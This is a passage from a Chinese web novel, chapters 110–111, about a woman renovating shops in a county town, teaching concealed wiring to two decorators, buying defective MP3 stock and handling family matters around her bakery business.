赵如月看那对夫妻会的东西,不是两个人各自会一点,各自负责不同的活,加起来才会那么多,而是夫妻俩都是每样都能干,但拎出来一个也是能单独干活的人。 干脆就让他们各自负责一个店,仔细地告诉他们该怎么做,这样他们只需要负责自己那一间就行,还不容易弄乱。 砌墙的水泥沙子和砖头早就准备好了,全都分别堆放在房子里。 那对夫妻干活的时候,赵如月和宁绍明也不是双手插兜看着,也得帮忙修那些砸下来还能用的砖头、搅拌水泥、给他们打下手,拎水泥到旁边,好方便他们砌墙。 一个上午过去,两个房子的小房间和厨房被砸掉后,又从新砌好,建筑垃圾也清理干净了。 新砌的墙还需要晾干,两个装修师傅开始修理门窗,把门窗该修的修改换的换掉后,才能清理其他墙壁,给墙壁找平后,刮水泥再刮大白。 在两个师傅修理门窗的同时,赵如月也开始着手处理水电。 水电是她自己亲自上手做的,本来还担心自己做得不好,但是转头一想,现在装修市场也规范不到哪里去,没准别人的手艺还不如她。 县城很多人装修,水电还是走的明管明线,做出来的东西也不一定合她心意。 她还有电工证呢,电工证也是自己考的,不是买的,现在考证市场也不规范,找来的人可不一定有,有也不一定是自己考的。 而且这是自己的房子,只要注意安全,做成什么样都没人会指责自己,做错了随便改,多好的练手机会,错过这个村,可没这个店。 赵如月一咬牙,真就直接自己上了。 第110章 “咦,现在就要安装水管和电线吗?”两个装修师傅都觉得很惊讶。 他们也做这一行好几年了,在县城接过不少活,不能说已经把县城的商品房都看过,但也见了不少。 他们见过的每一户,几乎都是在刷完墙壁后,才会走水电。 平时专门做水电师傅交流时,那些师傅大概说起来,也是说等刷完墙才会做水电。 赵如月刚好有些累了,她放下手中的开槽机,坐下休息。 这开槽机是她借的,现在没钱买这些工具,好在有夜校班的同学。 她现在算是知道,为什么很多人总是说读书时的同学以后都是人脉了。 看看现在她这些人脉,想借点什么工具都能借得到,要不是读了这个夜校班,她上哪认识这么多人平时根本不会接触到的人去? 虽然花了不少钱,但是不得不说,这钱确实花得很值。 赵如月抹了一把汗跟两个师傅聊起来:“我打算水电都做暗管、暗线,所以就得提前做,做暗线暗管,房子看起来会比较美观一些,而且还更好打理,走明管、明线的话,水管和走线槽上都很容易积灰,还得花时间打扫。” 虽说打扫起来也不费什么功夫吧,但是这些地方都是比较容易忽视的地方,很久都不会打理一次,久而久之就积灰特别多,走线槽大部分是白色的,还容易泛黄、挂蜘蛛网。 女师傅好奇地问:“这样把水管和电线藏起来,万一哪个地方坏了怎么办?还有后面如果往墙上打钉子挂东西,会不会容易打到暗管和暗线。 赵如月想着后续还需要他们帮忙做木工,安装一些柜子、展示架之类的东西。 就把自己画的简易设计图拿出来给他们看,解释道:“走线也不是随便走的,你看,我把他们排得整齐一点,以后避开这些地方就不会被伤到,带水管和电线装的时候用心些,没那么容易坏,特别是电线,万一真坏了,到时候局部挖开修好,再重新填补回去补一下瓷砖或者墙漆就行。” 补墙漆是最简单的活,赵如月看看就会了,补瓷砖也不难,就算她到时候没时间,大不了再花钱找人来补,也花不了几个钱。 这种事好几年可能都遇不上,却能享受许多年的方便,总的来说利大于弊,还是很划算的。 两个装修师傅听了觉得很有道理。 他们俩商量了一会儿,就来问赵如月:“老板娘,我们有件事想请你帮忙,不知道行不行?” 赵如月没有马上答应,只是说道:“你们先说说什么事?” “这个走暗线暗管的做法在县城很少见,我们想着,能不能跟你学一学,这次的活我们就免费帮你干。” 赵如月没想到自己干活后,还会有这种好事,她跟宁绍明绝大部分的钱,全压在房子上了,口袋不太宽裕,当然是能省一笔是一笔了。 她跟宁绍明说了一声,很快答应下来。 不过教之前,赵如月也问过两位师傅:“你们有电工证吗?没有的话我建议最好去考一个,要不你们出去跟人推荐这个做法,人家不一定接受,有证说服力可能强一些。” 男师傅说:“我们俩本来也想考,但是去问了,人家说考这个证要初中学历,我小学都没毕业,我老婆初中也只上了一年,没办法考,有些机构倒是说可以交钱两千块钱,帮忙弄一个证,可我们又担心那是骗人的,没敢交钱。” 毕竟挣的都是辛苦钱,一下子拿几千块钱出去,还是有些舍不得。 赵如月听了就说:“你老婆要是想要初中毕业证的话,倒是可以回去她以前的初中学校问问,能不能补上。 你小学都没毕业就有点难办了,不过也不是没其他路子。” “还有什么路子?”他们这样的人,如果家里没有孩子升学,在平时生活中,根本接触不到那些关于学历提升的东西。 而且信息检索和收集也是一项技能,并不是每个人都会的,更何况在现在手机和电脑都不算普及的时代。 赵如月说道:“还可以去华云市技师学院在云山县小区开的夜校培训班,学两年后也能拿到毕业证,这个证虽然只是成人教育的证,跟真正考上中专的学生不一样,但也算个学历。 可以用这个证去考电工证,这个夜校培训班是靠谱的,我就在里面学,就是学费比较贵,如果你们感兴趣的话,等学校新一期的夜校班开始招生,我可以跟你们说一声。” 听说第一期的效果还不错,学校尝到甜头,肯定会继续开班收学生的。 赵如月在他们的询问下,把每个不同专业的收费都跟他们说了,至于以后到底要不要去,全看他们自己的选择。 她只介绍,不推荐,也不鼓动别人去学。 休息好之后,赵如月又继续干活。 这个活她已经做了一小半,这次因为要教两个师傅,又从头给他们讲了一遍,讲清楚后才继续做。 赵如月还跟他们说,以后他们去给别人做这些,哪里不懂的,也可以再来问她,毕竟算是收了学费的,总不能只教一次,教得人家一知半解。 这次赵如月边做边教,进度反而比一开始快得多,因为有两个‘学生’做助手,这两个‘学生’又学得很认真,干活也细致。 一个人的活三个人干,效率反而提高了。 四间房子的水电,不到半个月全部搞定。 接着就是趁着没下雨,天气好,抓紧时间给墙壁找平,挂水泥,刷墙。 因为天气好,水泥干得快,又花了半个多月的时间,四个房子的墙壁的活就差不多做完了。 到这一步,四间房子简直焕然一新。 赵如月站在外面看着这四间房,外面看起来挺旧,里面却已经是有模有样。 九月份两个孩子开学,赵如月上的夜校班所在的中专也开学了。 开学季老师们都比较忙,他们要先顾着全日制的学生。 要等全日制学生的排课表出来后,才能根据老师们的空余时间,来重新安排夜校班的排课。 所以别人开学,赵如月就放假了。 赵如月给自己安排的水电的活也早就完成,她刚好能在正式上课前,带着孩子们出去玩一趟。 闺女早早就跟她约定好,这次要去市里的科技馆。 她最近还是特别沉迷大飞机,不过一直收听的军事解说广播,在不继续讲空军和飞机后,她就不再继续收听了。 所有人都没想到那本绘本对她的影响竟然会那么大。 在市里的科技馆,她也在有飞机的场馆流连忘返,负责那个场馆的讲解员不管讲什么,她都特别捧场,还追着人家问:“阿姨,你们这里收不收小讲解员啊?我可以不要钱,管吃管住就行,不然让我搬个小床睡在这里也行。” 人家听了哭笑不得,对她印象特别深,看宁时夏对飞机这么感兴趣,还送了她一个小小的飞机模型。 赵如月又给她买了一个大一点的飞机模型,才把她哄走了。 然而谁都没想到,她人是回来了,魂还在那里。 在科技馆见识过飞行员的训练方式后,竟然敢在学校尝试。 宁时秋看到自己妹妹像县城公园的老大爷一样,在单杠上三百六十度地转圈,他差点吓得魂都没了。 旁边一群小孩惊呼厉害,他冲过去,想让她下来,却不敢惊扰,生怕她自己把自己给甩飞出去。 好不容易等她停下,从单杠上蹦下来。 宁时秋冲过去就是一个爆栗。 宁时夏还以为是谁那么大胆,竟然敢敲自己脑壳,正要瞪眼,转头发现是自己亲哥,语气弱了点:“哥,你干嘛敲我?” “你说呢?你刚才在做什么?” 想起自己刚刚做的事,宁时夏突然有点心虚,好像确实有点危险。 科技馆的讲解员都说了,做训练要有教练员在旁边监督指导才行,她刚刚发现自己可以做到后,一个激动就没忍住。 “我知道错了。”她下次会记得找个人当自己的教练员的。 宁时夏此时已经默默在心里筛选教练员人选。 宁时秋哪能猜不到她的想法:“这次知道错了,下次还敢是吧?” “我下次真不敢了!”宁时夏保证道。 “你仔细说说,不敢怎么样?”不说清楚,下次她又找借口,说下次犯的错跟这次又不一样。 宁时夏:“我不敢在没人在旁边帮忙的时候那样做了。” 宁时秋生气了:“那就是说有人在旁边看着的话,你还敢?” “人家科技馆的讲解员说了,有教练员才旁边监督就行,我可以找个教练员。” 宁时秋一听,果然是这样,幸好自己问得仔细,要不下次她还真敢:“你打算找谁?” 宁时夏仔细想了想说:“我找爸爸!”爸爸力气大,万一自己摔下来,肯定能接住自己。 宁时秋气笑了:“爸爸是飞行员吗?” “爸爸不是飞行员,但是爸爸力气大,可以接住我啊!” “你自己想想,飞行员的教练员是不是也是飞行员?教练员是那么好选出来的吗?”宁时秋很想揍人。 但他知道揍人没用,他妹妹皮实得很,嗷嗷哭一顿,下次又忘了,虽然她这样不会记仇,但也不会记打。 他又不能成天跟着她,要是不跟她说清楚道理,还不知道下次会干什么更危险的事。 宁时夏不说话了,因为她也觉得哥哥说的有道理。 “你要是不信,我们回去给科技馆打电话问问。” “我信……”宁时夏有些沮丧地低下头,她本来想着,自己提前训练,以后肯定比别人厉害。 现在赢在起跑线上的美梦破碎了。 不过他们放学后,宁时秋还是给科技馆打电话了。 宁时秋得保证她很长一段时间内不乱来,最好的方法就是让她知道,成为一个飞行员具体需要怎么做,在她这个年纪又要做些什么,而不是一知半解。 赵如月看他们兄妹俩一脸严肃地回家,然后一本正经地打电话,认认真真地记笔记的样子,有些摸不着头脑。 赵如月还以为家里两个孩子都喜欢做生意赚钱来着,上辈子女儿就是一个很成功的商人,不然也不会在家里无法提供任何帮助的情况下,跑到国外去定居。 不过原来她小时候竟然想当飞行员吗? 是真的想当飞行员,还是只是小孩子天马行空的梦? 就类似每个人小时候写作文时,上一次可能想当科学家,下一次又想当医生了? 赵如月悄悄去问儿子,宁时秋很淡定地说:“妈妈,你先不用管小夏,如果她能付出行动,然后坚持下去,就是真的想当飞行员,如果不能一直坚持下去,只坚持一段时间也是有好处的。 赵如月恍然大悟,从这天之后,她就发现,女儿学习的时候,不再需要哥哥催,会主动学习了。 也不再跟身上有跳蚤咬一样,过一会儿就扭来扭去,趴在桌上或者床上写作业看书了,而是端端正正地坐着,姿势特别标准。 赵如月夸她,她还一本正经地解释:“我和哥哥给科技馆打电话的时候,接电话的阿姨说了,想当飞行员,首先得考上一个好大学,同时还要保护好眼睛,不能近视,还要好好吃饭、好好锻炼身体,让自己长高些,妈妈你过一段时间帮我量一次身高好不好?” “好,我在墙上给你和你哥哥画个大尺子,到时候你们靠到墙上一看,就知道自己长多高了。” 赵如月怕自己忘记,说完后,就找来卷尺,在家里的一面墙上做标记。 他们家的墙很白,做上标记后,看得特别清楚。 两个孩子跑过去一比划,赵如月才发现他们竟然又长高了。 只是天天见到,就没察觉。 而且之前天气太热,也没长胖,穿的又都是短裤短袖和小背心,不像秋冬的衣服,袖子变短很容易就能看出来。 “该给你们买新衣服了。” 她话音刚落,店里的电话响起,两个孩子对接电话的兴趣已经没那么大了,现在是谁离得近,谁去接。 刚好孙佳佳离得近,她接起来后,对赵如月说道:“三婶,打电话来的人说她叫小范,找你的。” 竟然是范小蓉,赵如月前几天刚跟范小蓉通过电话。 现在距离当初她跟她们厂拿货的事,过去好久了。 本来范小蓉的领导说,卖出去足够数量的员工,才能转岗当销售员。 本来订金这事一直没谈下来,她们俩已经打算用范小蓉那个方法进货了。 但后来范小蓉厂里又改了规则,说能卖出去就行,不管数量。 范小蓉因为一开始卖出去过三百多台,直接就被选中了。 她让范小蓉跟厂里谈的订金还是一直没谈下来,赵如月就也不着急,转头忙县城店面的装修去了。 她走到电话边拿起话筒,寒暄过后问道:“你怎么这个时候打电话来,是有什么重要的事吗?” “确实还挺重要的,姐,厂里现在有一批带着小瑕疵的货,你要不要拿一些?订金那个事,我终于知道为什么厂里一直不松口了。” 赵如月问:“是不是你们厂扩宽销路了?” 范小蓉笑着说:“姐你真聪明,有个自带人脉的销售员,给厂里拉了一大笔订单,还愿意先给百分之五十的货款,厂里不但不缺销路了,反而还要加大产量。 不过产量上去后,瑕疵品也多了,要是这些瑕疵品能卖出去,也是一笔收入,所以厂里在瑕疵品这里松了口,如果不是知道你会修,可以自己负责售后,我也不敢问你。” 赵如月倒是有些心动,厂里出来的瑕疵品,再怎么有瑕疵也是一手货,比回收站买回来,坏掉的好很多。 可惜她现在手头上是真没钱了。 “价格合适的话,我倒是能要一些,但是能要的量,肯定不如之前多了,毕竟合格品和优等品拿回来直接就能卖,瑕疵品带回来我还得自己检查,要是毛病比较多,我还得花时间修,而且我手上的钱也不凑手。” “姐,你放心,这一批货的价格只有之前的一半,也就是老家离这边比较远,厂里的货也没铺到老家那边,不会影响到厂里合格品的正常销售,领导才让我来问你要不要。 不过这些货,厂里要求进货量最低一千台起步,你的钱不凑手的话,我可以先给你垫付一部分。” 范小蓉不等赵如月说话,就知道她想说什么,直接继续说道:“你不用担心我花出去这笔钱后没钱应急,你不知道当销售员是真挣钱啊!猜猜我现在的工资是多少?” 她也不买关子,问了之后立刻就给了答案:“我这个月的工资,算上提成,比以前正正翻了五倍!妥妥的高薪!所以姐你不用担心我,而且你又不是那种会拖欠着不还钱的人。” 赵如月想提醒她,做销售收入不稳定,在业绩好的时候,还是要未雨绸缪。 但是在她这么高兴地时刻,赵如月也不想当泼冷水的那个人。 想了想换了个方式说:“恭喜恭喜,这真是我今天听到的最好的消息,等我把货卖出去,回款之后就马上把你垫的钱还给你,你现在工资这么高,想来到那时候,你应该也攒够买房子的钱了。” 范小蓉地说:“嗯!我早就看好了一套单身三十几平的单身公寓,现在正努力攒钱,顺利的话,明年就能买了,虽然到时候可能会背上贷款,但是我也算在这边有了个家。” 两个人又说了好一会儿,定下进货的数量,弄清楚价格,还有合同相关事宜以及发货过来的时间后才挂了电话。 赵如月算了算手头上的钱。 因为教两个师傅走暗线暗管,省下一笔钱,她和宁绍明决定把剩下的钱用在地面。 原本他们打算暂时只给卫生间和厨房铺瓷砖,其他地方做水磨石地面。 那时候他们想着,既然有省下来的钱,还刚好够贴瓷砖,就干脆直接给四间屋子的所有地面都装上瓷砖。 剩下的钱不够做外立面的装修了,只能暂时就这么着。 面包蛋糕店的柜子架子已经做好了,用的是他们家之前建镇上房子剩下的木头打的。 不过木头不够,就只能先紧着面包蛋糕店用,米粉店的桌椅板凳暂时还没着落。 兜里的钱都花得差不多了,只能先顾着一家店,其他就这么先空荡荡地放着。 要不是镇上的店和宁绍明去摆摊每天还有固定进账,他们可能连一家店的装修都顾不上。 范小蓉那边不久后运来的那一批货,要在县城她原本打算用来开修理店的店面卖。 可是想正经地布置好这间铺面肯定是不可能了。 只能另辟蹊径,暂时用便宜的材料来布置。 柜台肯定要有一个,赵如月本来想去买角来做,后来看到别人清店,门口放着一个双层的货架。 她就直接跑过去问这个卖不卖,然后花了五十块钱买回来两个,组合在一起,比角钢稳固很多,而且还不用另外去买台面的板子,直接就自带了。 只需要在外侧装上玻璃,让客人可以看清里面摆着的东西。 里面这一侧,本来也该做可以推拉的带锁玻璃门。 但是为了省钱,赵如月就只装了拉帘,布料还是去批发市场买的瑕疵布,带回家让她妈帮忙缝制的帘子。 除了帘子剩下的布料还做了一个桌布,盖在台面上,这样一来,就不太能看得出柜台是两个双层货架拼成的。 只是以后开店和打烊后,需要麻烦一点,打烊后需要把柜子里的货品搬进带锁的箱子里,开店前也要打开箱子重新把东西往柜台里摆好。 不过这些都是暂时的。 宁绍明的面包蛋糕店已经布置好。 虽然刚翻修好,店里还要晾一段时间,暂时不能马上开业,但真的想用的话,也是能用了。 宁绍明现在是真的一点不管镇上店里的生意了,全部交给宁时春,他每天就专门做面包和去夜市街摆摊。 每天面包做好之后,少部分留在镇上卖。 大部分在上午十点左右带到县城,先给四间房子开门开窗通风,然后就把面包摆到货架上卖。 除了第一天开始卖时,他们全家都一起去,放了一串鞭炮,还做了个前三天买一送一的活动外。 别的什么开业仪式也没有,就这么开业了。 借着拆迁的风,街对面开始陆续有工人开工,这个地方又是靠近路口,来往的车辆和行人,以前就不少,现在更多了。 他每天带去的面包,竟然大部分时候都能卖个精光。 当然宁绍明准备的东西量也不多,刚刚好东西卖完之后,时间大概是下午一两点。 正好房子当天需要通风的时间也够了,他收拾好东西,关上门就能回家。 每天周而复始,既能解决房子每天通风晾晒的问题,又能顺便卖东西,也不用待在这里太长时间闻新装修房子的味道。 110-120 第111章 范小蓉打电话跟赵如月说,第一批总共一千台的MP3和MP4已经出发,正在送来的路上时,秋夏面包店的生意也趋于稳定了。 不过依然还是只卖上午十点半到下午一两点这个时间段。 也有客人抱怨面包店关门太快,有时候来晚了就买不着,催着宁绍明开店久一点,面包的数量多增加一点。 宁绍明每次听顾客抱怨,都会笑着点头说:“好好好,您的建议我已经记下来了,肯定多加点量。” “其实这段时间也在慢慢加了,但是没想到客人也越来越多,等家里的事情忙,就能全天开业,到时候不管您白天还是晚上来,都能买到。”诸如之类的话 实际上他也就这么一说,没有真的不管不顾地去加量。 他只在原有的基础上,增加了百分之二十的量,就不再增加了。 毕竟他做的面包几乎没什么放添加剂,外包装和食品保鲜卡也还没买回来。 面包保质期比较短,现在有冰箱的人家又少。 所以有些面包当天卖不完的话,第二天就没法卖了。 还有些可以留个一两天的面包,比如菠萝包,肯定是第一天风味最好,第二天就不那么新鲜,第三天那口感就真不成了。 为了保持自家店的口碑,宁绍明宁愿少挣一点钱,也要保证每天尽量不剩货。 秋夏面包店的生意趋于稳定,宁绍明却遇到了别的麻烦。 “最近在夜市街卖钵仔糕生意不太好了。” “你查过怎么回事了吗?”赵如月虽然最近不用上课,但她也要忙自己的事,有一段时间没关注夜市街那边的生意了,还真不知道最近生意不太好。 家里用钱紧张,她没有光等着范小蓉那边的货送来,依然抽空去县城甚至市里的回收站,买一些还能修的MP3和MP4回来。 修好之后,能卖出的就卖,暂时没人买的就留着。 等范小蓉那边的货到了,到时候开店还能用这些二手机来做一波低价促销,吸引人气,把自己的店打出名声去。 宁绍明说:“查过了,夜市街上也多出了好几个卖钵仔糕的摊子,人家的价格还比我们低,不过我没尝过味道怎么样,只听客人说过价格,有些客人说味道不如我们家的好。” 他觉得自家卖钵仔糕的价格最贵,生意有被影响却没有彻底卖不出去,就是家的味道还是比较好的,这才留下了更看重味道的客人。 只是生意还是被影响了,必须得想个办法才行。 赵如月了然:“以前我们家摊子卖的东西,在夜市街是独一份,所以价格定得高一点也有人卖,现在有了竞争者,想要让生意回温,要么降价,要么就得换别的东西卖了。” 宁绍明觉得降价不算个好方法:“我们在那边摆摊一段时间了,熟客有很多,以前人家一直花比较贵的价格买,现在竟然降价了,多花钱的客人可能会心里不舒服,还不如把家里的小玻璃杯全部清掉后,不卖这个了,换别的东西卖。” 赵如月点头,觉得这样也不是不行,不管是降价还是换东西卖都有利有弊,端看他怎么去考量。 “你想好卖什么了吗?”赵如月问。 宁绍明说:“想好了,就卖面包。” 赵如月没反对,但有点不太理解:“大晚上卖面包?” “我观察过了,县城很多面包店开门时间都在上午十点之后,但是大部分人上班时间都集中在七点到九点半之间,很多客人跟我抱怨,早上不想吃粉面、包子、油条的时候,想买个面包吃都买不到,提前买回去放的时间太长,第二天又不新鲜了,我就觉得晚上到早上这一段时间,有点搞头。” 客人的抱怨不能全听,也不能不听,需要自己分辨哪些是对自己有用的。 宁绍明说到面包店里的事,总是两眼放光:“我们店里的一些面包,价格不贵,成本和利润已经压到几乎是最低了,这一部分图的就是一个薄利多销。 做面包的门槛也比做钵仔糕高一些,这样到夜市街摆摊,就算再出现同样的摊子,不会一下子出现好几个,也不怕别人再降价跟我们竞争,我们自己又有店,去夜市街摆摊算是赚个外快,顺带宣传一下自家的店。” 之前卖钵仔糕是临时起意,这次宁绍明打算做长期的买卖。 这次换东西卖之后,就一直在夜市街卖面包蛋糕这一类的东西了。 以后最多会根据东西受欢迎的程度和摊位的保持新鲜感,换一两样,或者增加、减少一两样,但不会再换不同的食物类型。 他继续说道:“以前总说吃隔夜的东西不好,但是你想想,面包早上做好,别人上午买回去,放到下午或者晚上才吃,是不是也过去了好几个小时?那我傍晚做好面包,别人买回去,放到早上起床的时候吃,其实时间上跟早上做好放到下午或者晚上吃也没太大区别。” “既然你想好了,那我支持你,就是你可能会很累。” “放心,我会多注意自己的身体情况,你也是,一直低着头修理东西,也要是不是站起来走走,看看窗外。” 两人说这话,家里孩子突然冒头:“我会监督妈妈的!” 说话的是宁时夏,这孩子总是爱蹲在某个地方玩,有时玩虫子、有时玩玻璃珠子或者她的宝贝飞机模型。 很多时候大人不特地去看就注意不到她。 赵如月捏捏女儿的脸:“今天不玩你的小玩具了?” 宁时夏举起手里的小木块:“在玩,爷爷帮我做了新的。” 宁绍明拿起来看:“没想到你爷爷还有这个手艺,我小时候,他可从来没给我们做过这些。” 不只是他,他哥哥姐姐们也没收到过这样的小玩具,要不他不可能不知道。 宁时夏嘿嘿笑:“爷爷最疼我,爸爸妈妈,我想把收音机拿去给爷爷听可以吗?” 其实她已经拿去给爷爷听过了,只是这次想直接放在爷爷那里,让爷爷一直用着,才要问家长。 赵如月说:“当然可以,不过你自己不用了吗?” “我可以跟爷爷一起听,而且我的玩具也很多呢。” 宁绍明沉默了半晌,想起家里刚有电视的那段时间,他爸喜欢看电视,这边有电视后,就每天都来看一会儿。 老爷子来了也不闹妖,就边做活边看,刚开始他妈还不好意思来,后来一看,老头能去,自己为什么不能去? 也跟着来了,但是这老太太比较能折腾,她看电视就算了,也不老老实实在后面看。 有时候还跑到前面店里,指指点点,他们店里会准备一些小咸菜小酸菜什么的,放在外面让客人自己加。 她觉得这样浪费钱,客人加多一点她都要嘀嘀咕咕,甚至有一次直接当人家的面,说人家加太多了,咸菜也有成本的之类的话。 人家客人花钱来吃饭的,哪能乐意啊? 幸好赵如月发现得快,给那个客人送了个小面包赔礼道歉,这事才没对店里的生意造成太大影响,过后赵如月就赶紧把这事告诉了宁绍明。 她觉得当儿媳妇的对婆婆说话需要顾忌的多,当儿子的毕竟是亲生的,说起来就没那么多顾忌。 然而还没等宁绍明跟他妈说什么,他爸也发现了这事,老爷子自己就不来了。 他爸不来,她妈也没了来他这边的借口。 因为她妈要面子,让她自己一个人来,她想起当初跟宁绍明闹的别扭就觉得不好意思。 宁绍明好几次不听她的话,下她面子,她现在面对这个儿子心里也犯怵。 宁绍明和宁达都以为这样她就不来了,没想到她消停了一段时间,发现宁绍明中午不在,又趁宁绍明不在的时候来。 以前他几乎一整天都在店里的时候还好,现在他每天十点半左右出门,下午一两点才回来。 中午这段时间宁时春就感觉很难搞,他毕竟是孙辈,人又老实根本不敢跟他三叔一样直接说他奶奶。 三婶又在后面忙着修东西,不好打扰。 宁时春个老实孩子就这么一直忍着,还是孙佳佳一看这样不行,就悄悄去跟赵如月说了。 但是现在他们也没想到什么好方法 说也说了,就是不改,宁绍明总不能一直在店里待着。 这会儿听到女儿的话,他忽然就想明白了:“你说是不是因为我妈太闲了?” “什么?”他突然冒出这么一句话来,赵如月没反应过来。 宁绍明解释道:“就是我妈趁我不在,总跑来店里那事,仗着自己是长辈,做的又不是什么多坏的事,你们不好对她怎么样,打不得骂不得,就我这亲生的凶一点,别人也不会多说闲话,但这老太太就像跟我们杠上了似的,我在她就不来,我不在她就来。” 赵如月有想过婆婆是不是更年期还没走,但是她年纪都那么大了,看着也不太像。 现在宁绍明这么一说,赵如月倒是也有点明白了。 家里的地全分给了孩子,他们自己留的少,很快就侍弄完了,菜地也没多少活,最小的孙子孙女也不用她带,出去找别人唠嗑吧,别的老头老太太都没他们这么清闲。 忙忙碌碌一辈子,突然闲下来,乡下老人又没什么能娱乐的东西,只能成天待在家里跟老头子干瞪眼,可不就得找点存在感。 赵如月说:“先看看小夏把收音机放爸妈那边后,她还会不会这样。” 如果有收音机听之后,就不那么干了,说明并不是真想捣乱,而是精神世界得不到满足,想在孩子这里找点存在感。 所以离得近的孩子才倒霉了。 而老大家只剩大儿媳在,她怕自己冲老大家作妖,大儿媳真放弃坐牢的老大跑了。 别看大儿媳已经是两个孩子的妈,孩子都大了,她真铁了心想二婚的话,也不是找不到。 老二家在县城,不经常回来,又觉得闺女是嫁出去到别人家的,她不好跑到别人家作,可不就只剩下老三了。 赵如月这么猜测还真猜对了。 宁时夏把自己的收音机放在那边后,黄秀华来店里的次数明显变少。 偶尔来一次,大概率也是想看电视了,只是不好意思说,就先在店里晃悠。 宁时春忙着厨房里的事顾不上外面,孙佳佳发现了她的意图后,又慢慢跟她接触,了解了她的心思,就哄着她到后面去看电视,或者把她糊弄走。 赵如月还挺庆幸,当初幸好没拒绝孙佳佳来帮忙,要不然,她现在可没时间腾出手来做自己想做的事。 学校开学后,宁丹萍每周星期六和星期天才能回来帮忙,孙佳佳就成了店里招待客人的主力。 她和宁绍明给宁时春涨工资的时候,也顺便把宁丹萍的工资涨到了四百块钱,现在给孙佳佳的工钱也跟宁丹萍暑假在店里全职干活的时候一样。 孙佳佳当初来店里帮忙,还真没想过自己竟然也能拿工资,这对来说实在是个意外之喜。 她当时是真的单纯地想来学学怎么招待客人,怎么在开店后当个老板娘,期盼着自己跟宁时春结婚后,开一家店,一起挣钱好好把日子过起来。 拿到第一个月的工资时,孙佳佳的手都在抖,她这辈子,第一次手头能有那么多钱! 赵如月发现,这个姑娘有时候挺精明,但有时候也挺傻。 她竟然只给自己留了一百块,然后把剩下的三百块钱交给宁时春,还说:“我爸妈要的彩礼,我们俩一起挣。” 孙佳佳想,两个人一起努力的话,要不了三四年,他们就能结婚。 到时候他们二十出头,结了婚刚好可以领证。 彩礼那事,经过男女双方家长好几次你来我往的拉锯,孙佳佳父母咬死了最低三万,不然免谈,他们直接把户口本藏了起来,不给彩礼就不让领证,领不了证。 就算他们俩办了酒,在镇上算结婚了,可等他们俩生孩子的时候,孩子想上户口就麻烦了。 王海燕倒是想放些狠话,可挡不住她儿子被人家女儿迷得神魂颠倒,非要娶人家,他说孙佳佳一句不好都不行,这下可算是被人家拿捏住了。 她对宁时春那叫一个恨铁不成钢,只好撒开手不管,同时也跟宁时春说了,家里现在没钱,他非要结婚,那彩礼就自己挣。 他自己能挣到彩礼就结婚,挣不到就拉倒,好像真的撒手不管了。 只不过她以前还要求宁时春给家里生活费,现在倒是没再要了,想来对自己儿子也是刀子嘴豆腐心,又或者也是不敢把事情做得太绝。 幸好宁时春也是个憨实的,孙佳佳把钱给他后,他隐约觉得这样好像不太好。 但是孙佳佳的表现又让他有点不确定,他就又跑去找他三叔问了。 宁绍明也没想到,还真有姑娘自己挣彩礼娶自己的,他瞅了一眼大侄子:“你这可真是傻人有傻福。” 真让老实人遇上实诚姑娘了,甭管这姑娘有什么小心思,她愿意一心跟大侄子好好过日子,那她对大侄子来说就是个好的。 宁绍明就告诉宁时春:“可不能这么占人家姑娘的便宜,这彩礼钱要么家里出,家里出不了,那就自己挣,媳妇儿的钱,她自己没地方收,可以帮她收着,但以后还是得花在她身上。” 这么一说,宁时春就觉得自己知道该怎么办了。 他抽空往县城跑了一趟,自己又往里添了点钱,给孙佳佳买了一对金耳环和一对金耳钉。 他想着,首饰这东西只能女孩子用,也算是花在她身上了,不然他留着,万一被他妈发现多出来的这些钱,还得惹出事情来。 把耳环给孙佳佳的时候,宁时春担心她生气,是这么跟她解释的:“上次我给你买的戒指小秋看到了,就跟我说买金子好,金子什么时候都能换成钱,可能还会涨价。 这些钱存着还不如买成金首饰划算,以后你爸妈不给你嫁妆,这些首饰就是你的嫁妆,你不比别人差什么。 这金首饰,佳佳你在店里戴着,不乱走不会出什么事,要是被你家人看到,你就说是我给你买的,被我妈看到就说是你自己买的。” 反正两边瞒着,他们双方父母两看相厌,又不可能凑在一起对口供。 孙佳佳听到这话,眼睛发酸,用力眨了好几下眼睛,才没让眼泪掉下来。 她早就知道,家里哪怕是厕所的一块砖都是她弟弟的,父母不可能给自己什么嫁妆。 他们要那么多彩礼,到时候能给她陪送三床被子都算不错了。 也就是宁时春人好,才不嫌弃她这一点,反而处处为她着想。 她把这事跟自己的好朋友林丽丽一说,林丽丽也不再说一句宁时春不好了,只说:“怪不得你选宁时春,对了,佳佳,我有个事想问你。” “什么事你说。” “听说县城秋夏面包店旁边那三间房,全都是宁时春他三叔的房子?”林丽丽只是听说自己也不确定,只能来问孙佳佳。 但是孙佳佳也是挺宁时春说,所以也以为那房子是宁时春三叔三婶租的:“我听说是租的,人家房东当初给的价格,四间一起租的话,比单独租三间划算,他们才一下子租了那么多间房子。” 林丽丽还以为自己打听到的消息不对:“原来是这样啊,你能不能帮我问问,他们剩下的两间愿不愿意转租?” “你想租?两间的话可能不行,剩下的三间,一间要开餐饮店,一间给时春她三婶开电子维修店,顺带卖MP3和MP4,剩下一间我不知道做什么用,倒是可以帮你问问。” 林丽丽听到只能租一间就打消了这个念头:“那算了,一间不够大,磊哥想开网吧,最少也得要两间房才够放设备,我还是再在那附近找找合适的地方。” “你对象不是开发廊吗?”孙佳佳问。 林丽丽说:“发廊也还在开着,但是磊哥说,等网吧开起来后,发廊就准备让小亮负责。” 两个人正说着,赵如月坐久了,被女儿提醒要起来走走,松松筋骨,恰好听到这一句。 她没忍住问道:“你不是那个磊哥的对象吗?他怎么不给你负责?” 赵如月有时也会听到孙佳佳跟宁时春说起她的这个好朋友。 听她说,林丽丽也会做头发,而且美发技术在那个磊哥的发廊里,算是数一数二的,很多客人都是冲着她的手艺,去那个发廊做头发。 只是林丽丽外表张扬,内里却有些不自信,这可能这个时代很多女孩子的通病。 林丽丽摆着手说:“不不不,我帮人做头发还行,让我管理一家店就不太行了,我都没学过,做不好的。” “谁也不是天生就会的,你问问佳佳,以前她是不是也不知道怎么做餐饮店,现在她在店里做了才多久,让她跟小春去开店,没准已经知道该怎么做了。” 孙佳佳对上好朋友看过来的目光,点了点头,她学得认真,也跟着去采购过一次,还真大概知道该怎么做了。 林丽丽还是有些不太敢,赵如月其实不太看好这姑娘跟她对象,她和宁绍明去县城多了,难免听说一些事,她那对象挺花的。 只是俗话说疏不间亲,情侣之间的事,好朋友相劝可能都没用,人家姑娘跟她非亲非故,她也不能直接上来就劝分。 不过刚好遇上了,顺势提醒一声,万一以后真不成,这姑娘好歹也不至于什么都没得到。 